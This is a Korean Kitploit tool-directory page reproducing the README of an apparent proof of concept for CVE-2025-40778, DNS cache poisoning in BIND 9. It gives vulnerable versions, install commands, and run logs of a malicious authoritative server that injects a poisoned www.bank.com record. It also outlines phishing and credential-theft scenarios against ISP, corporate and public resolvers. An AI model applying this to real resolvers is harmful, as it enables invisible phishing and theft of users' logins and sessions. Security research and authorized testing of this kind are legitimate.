Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-40778 — DNS 캐시 포이즈닝을 추가 레코드 주입을 통해 BIND 9에서 시연하는 개념 증명으로, 승인된 보안 테스트를 위해 CVE-2025-40778을 검증하고 악용하는 도구를 포함합니다. | Kitploit
도구/GitHubGitHub/nehkark/cve-2025-40778
Vulnerability AnalysisExploitationPhishingWeb SecurityLearning & EducationDNS Analysis
GitHubnehkark/cve-2025-40778

CVE-2025-40778

DNS 캐시 포이즈닝을 추가 레코드 주입을 통해 BIND 9에서 시연하는 개념 증명으로, 승인된 보안 테스트를 위해 CVE-2025-40778을 검증하고 악용하는 도구를 포함합니다.

저장소 보기
529개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-40778 개념 증명(PoC)

추가 레코드(Additional Records) 주입을 통한 DNS 캐시 포이즈닝 취약점의 교육용 데모입니다.

⚠️ 면책 조항

교육 목적으로만 제공됩니다

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 귀하가 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 도구를 무단 사용하는 것은 불법이며 비윤리적입니다.

저자는 이 도구로 인한 오용 또는 손해에 대해 어떠한 책임도 지지 않습니다.

📋 설명

이 PoC는 손상된 권한 있는(authoritative) DNS 서버가 DNS 응답에 포이즈닝된 레코드를 주입하여, 사용자가 인지하지 못한 채 악성 서버로 리디렉션할 수 있는 방법을 시연합니다.

공격 벡터:

  • 손상된 권한 있는 네임서버가 추가 DNS 레코드를 주입
  • 포이즈닝된 레코드가 재귀 리졸버에 캐시됨
  • 합법적인 도메인을 쿼리하는 사용자가 공격자 제어 IP로 리디렉션됨
  • 투명한 피싱 공격 가능 (올바른 URL, 악성 서버)

가능한 시나리오:

  • 100% 투명한 피싱 (올바른 URL)
  • 안티피싱 교육 우회
  • 기업 네트워크에 대한 대규모 공격
  • 지속성 (높은 TTL로 수시간 지속)
  • 모든 애플리케이션에 영향
  • MFA 우회 (투명 프록시를 통한)
  • 업데이트를 통한 악성코드 유포
  • 기타 등등

👤 작성자 및 연락처

  • 연구원: krakhen.dev
  • GitHub: @nehkark
  • 이메일: [email protected]
  • ICQ: 24298753
  • 웹사이트: https://vciso.cloud

🔧 요구 사항

root@kitploit:~
pip install dnslib
pip install dnspython
pip install scapy

CVE-2025-40778 기술 요약

🔧 DNS 버전 확인

취약한 Bind9 버전

  • 9.11.0 – 9.16.50
  • 9.18.0 – 9.18.39
  • 9.20.0 – 9.20.13
  • 9.21.0 – 9.21.12
root@kitploit:~
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt

; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind.			CH	TXT

;; ANSWER SECTION:
version.bind.		0	CH	TXT	"9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"

;; AUTHORITY SECTION:
version.bind.		0	CH	NS	version.bind.

;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE  rcvd: 134

🔧 DNS 서버(BIND9)의 취약점 확인

이 도구는 CVE-2025-40778 취약점을 악용할 수 있는지 여부를 탐지합니다.

root@kitploit:~
============================================================
  CVE-2025-40778 - Forwarder Configuration Validator
============================================================

Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com

============================================================
  CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
  DNS Server: 200.0.0.X
  Domain:     www.company.com
============================================================

[1/3] Resolution Test for www.company.com
------------------------------------------------------------
    [✓] www.company.com → 201.0.0.X
    → Forwarder ACTIVE for www.company.com

[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
    Answers:    2 records
    Authority:  1 records
    Additional: 2 records

    ANSWER SECTION:
    → www.company.com. 300 IN CNAME www.holding.com.
    → www.holding.com. 300 IN A 201.0.0.X

    ADDITIONAL SECTION:
    → [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
    → [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X

    → [!!!] MULTIPLE ANSWERS - Possible poisoning detected

[3/3] Forwarder Latency Test
------------------------------------------------------------
    Query 1: 5.63ms
    Query 2: 7.46ms
    Query 3: 6.04ms
    Query 4: 5.04ms
    Query 5: 5.69ms

    Average: 5.97ms
    → [✓] Forwarder working correctly

============================================================
  CONFIGURATION VALIDATED
============================================================

🔧 1단계: CVE-2025-40778 취약점 활성화

설명: 이 단계에서는 손상된 네임서버를 시뮬레이션하는 악성 권한 있는 DNS 서버를 실행합니다. 이 서버는 특정 IP와 포트(127.0.0.2:5301)에서 수신 대기하며, 응답에 포이즈닝된 DNS 레코드를 주입할 준비를 합니다. 구성이 완료되면 www.test.local에 대한 합법적인 쿼리에는 올바른 IP 주소로 응답하면서, 동시에 www.bank.com에 대한 악성 레코드를 공격자 제어 IP를 가리키도록 주입합니다. 이 이중 응답 동작이 캐시 포이즈닝 공격의 핵심입니다. 취약한 DNS 리졸버는 하나의 도메인만 요청되었음에도 합법적인 응답과 포이즈닝된 레코드를 모두 캐시합니다.

root@kitploit:~
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py 
============================================================
  CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit:   www.test.local. → 192.168.0.136
[*] Poison:  www.bank.com. → 192.168.0.100

[✓] Running. Ctrl+C to stop.

2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A

🔧 2단계: CVE-2025-40778 손상 확인

설명: 여기서는 로컬 리졸버(BIND)를 통해 표준 DNS 쿼리를 수행하여 인프라가 올바르게 작동하는지 확인합니다. www.test.local에 대한 쿼리는 예상대로 합법적인 IP 주소(192.168.0.136)를 반환해야 합니다. 이 시점에서 최종 사용자에게는 응답이 정상적으로 보입니다. 손상의 징후가 눈에 보이지 않습니다. 그러나 백그라운드에서는 취약한 DNS 리졸버가 이미 두 레코드를 모두 캐시했습니다. 요청한 합법적인 레코드와 응답의 추가 섹션에 주입된 www.bank.com에 대한 포이즈닝된 레코드입니다. 이 단계는 DNS 리졸버가 악성 권한 있는 서버와 성공적으로 통신하고 그 응답을 처리했음을 확인합니다.

root@kitploit:~
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A

; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local.			IN	A

;; ANSWER SECTION:
www.test.local.		120	IN	A	192.168.0.136

;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE  rcvd: 87

🔧 3단계: DNS 포이즈닝 - CVE-2025-40778 활성화

설명: 이 단계에서는 공격자 관점에서 성공적인 캐시 포이즈닝의 증거를 보여줍니다. 악성 DNS 서버의 로그는 www.test.local에 대한 쿼리를 수신하고, 합법적인 응답으로 답변했으며, www.bank.com에 대한 포이즈닝 레코드를 성공적으로 주입했음을 보여줍니다. "RRs: A,A" 표기는 응답에 두 개의 A 레코드(하나는 합법적, 하나는 악성)가 전송되었음을 나타냅니다. 이 순간 피해자의 DNS 캐시는 손상되었습니다. 이후 이 리졸버에서 www.bank.com에 대한 모든 쿼리는 실제 은행 웹사이트 대신 공격자의 IP(192.168.0.100)를 반환하여, 사용자가 올바른 URL을 보지만 악성 서버에 연결되는 투명한 피싱 공격을 가능하게 합니다. 이 공격은 최종 사용자에게 보이지 않으며 DNS 캐시가 만료될 때까지(TTL) 지속됩니다.

root@kitploit:~
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A

📖 결론

실제 공격 시나리오: 영향 이해하기

실제로 의미하는 바:

일반 사용자가 은행 웹사이트에 접속하려 한다고 상상해 보세요. 브라우저에 www.bank.com을 신중하게 입력합니다. URL은 100% 정확하고, 오타도 없으며, 이메일의 의심스러운 링크도 없습니다. 브라우저의 주소 표시줄에는 신뢰하는 정확한 도메인이 표시됩니다. 모든 것이 합법적으로 보입니다.

하지만 백그라운드에서 실제로 일어난 일은 다음과 같습니다:

회사의 DNS 서버가 이 취약점을 사용하여 캐시를 포이즈닝한 공격자에 의해 손상되었습니다. 컴퓨터가 "www.bank.com이 어디에 있나요?"라고 물으면, 포이즈닝된 DNS는 실제 은행 주소 대신 공격자의 서버 IP 주소로 응답합니다.

공격의 구조

  • ✅ 올바른 URL이 표시됩니다: https://www.bank.com
  • ✅ 의심스러운 이메일 링크를 클릭하지 않았습니다
  • ✅ 악성코드를 다운로드하지 않았습니다
  • ✅ 모든 보안 모범 사례를 따랐습니다
  • ❌ 하지만 공격자의 가짜 웹사이트에 연결되고 있습니다

공격자가 탈취할 수 있는 것:

  • 로그인 자격 증명 - 입력하는 순간 사용자 이름과 비밀번호가 캡처됩니다
  • 세션 토큰 - 2단계 인증(2FA)을 사용하더라도 공격자가 인증된 세션을 가로챌 수 있습니다
  • 개인 정보 - 계좌 번호, 주민등록번호, 신용카드 정보
  • 기업 기밀 - 회사 이메일, 기밀 문서, API 키

왜 그렇게 위험한가:

이 공격은 피해자에게 완전히 보이지 않습니다. 경고도, 위험 신호도, 일반 사용자가 탐지할 방법도 없습니다. 보안에 정통한 전문가도 피해자가 될 수 있습니다. 공격이 사용자 기기가 아닌 인프라 수준에서 발생하기 때문입니다. 손상된 DNS 서버 하나가 동시에 수천 명의 사용자에게 영향을 미칠 수 있어, 조직을 노리는 사이버 범죄자에게 매우 효과적인 공격 벡터가 됩니다.

결론: CVE-2025-40778은 공격자가 신뢰를 무기화할 수 있게 합니다. 인터넷 탐색을 위해 의존하는 바로 그 인프라가 손상되면, 가장 신중한 사용자조차 취약해집니다. 이것이 이 취약점을 이해하고, 테스트하고, 완화하는 것이 모든 조직의 보안 태세에 중요한 이유입니다.

⚠️ 중요: 공격 전제 조건 이해하기

핵심 요구 사항: 이 공격이 성공하려면 피해자가 손상된 DNS 리졸버를 사용해야 합니다. 이 공격은 최종 사용자의 기기를 직접 대상으로 하지 않습니다. 대신 사용자가 인터넷 탐색을 위해 의존하는 DNS 인프라를 대상으로 합니다.

실제 공격 대상:

공격자의 주요 목표는 많은 사용자 기반을 서비스하는 DNS 리졸버를 손상시키는 것입니다. 가장 가치 있는 대상은 다음과 같습니다:

  • ISP DNS 서버 - 공격자가 인터넷 서비스 제공업체의 DNS 인프라를 포이즈닝하면, 해당 ISP의 기본 DNS 설정을 사용하는 모든 고객이 취약해집니다. 이는 동시에 수백만 명의 가정용 및 기업 사용자에게 영향을 미칠 수 있습니다.
  • 기업 DNS 서버 - 조직은 일반적으로 직원을 위해 자체 내부 DNS 서버를 운영합니다. 이러한 서버를 손상시키면 공격자가 회사 전체 인력에 접근할 수 있게 되어, 기업 스파이 활동이나 데이터 탈취의 매력적인 대상이 됩니다.
  • 공공 WiFi 네트워크 - 호텔, 공항, 카페, 컨퍼런스 센터는 종종 게스트에게 DNS 서비스를 제공합니다. 손상된 공공 WiFi DNS는 출장자와 행사 참석자의 자격 증명을 가로챌 수 있습니다.
  • 공공 DNS 서비스 - 강력한 보호를 받고 있지만, Google DNS(8.8.8.8)나 Cloudflare(1.1.1.1) 같은 서비스는 방대한 사용자 기반으로 인해 가장 영향력이 큰 대상입니다.

이것이 중요한 이유:

공격의 효과는 DNS 리졸버의 사용자 기반 규모에 비례합니다. 하나의 ISP DNS 서버를 손상시키면, DNS 설정을 수동으로 변경하지 않은 모든 고객을 잠재적으로 손상시킬 수 있습니다. 이것이 인프라 수준의 DNS 보안이 중요한 이유입니다. 단일 취약한 리졸버가 해당 인프라를 신뢰하는 수천 또는 수백만 사용자에게 영향을 미치는 거대한 공격 표면을 만들 수 있기 때문입니다.

도구 다운로드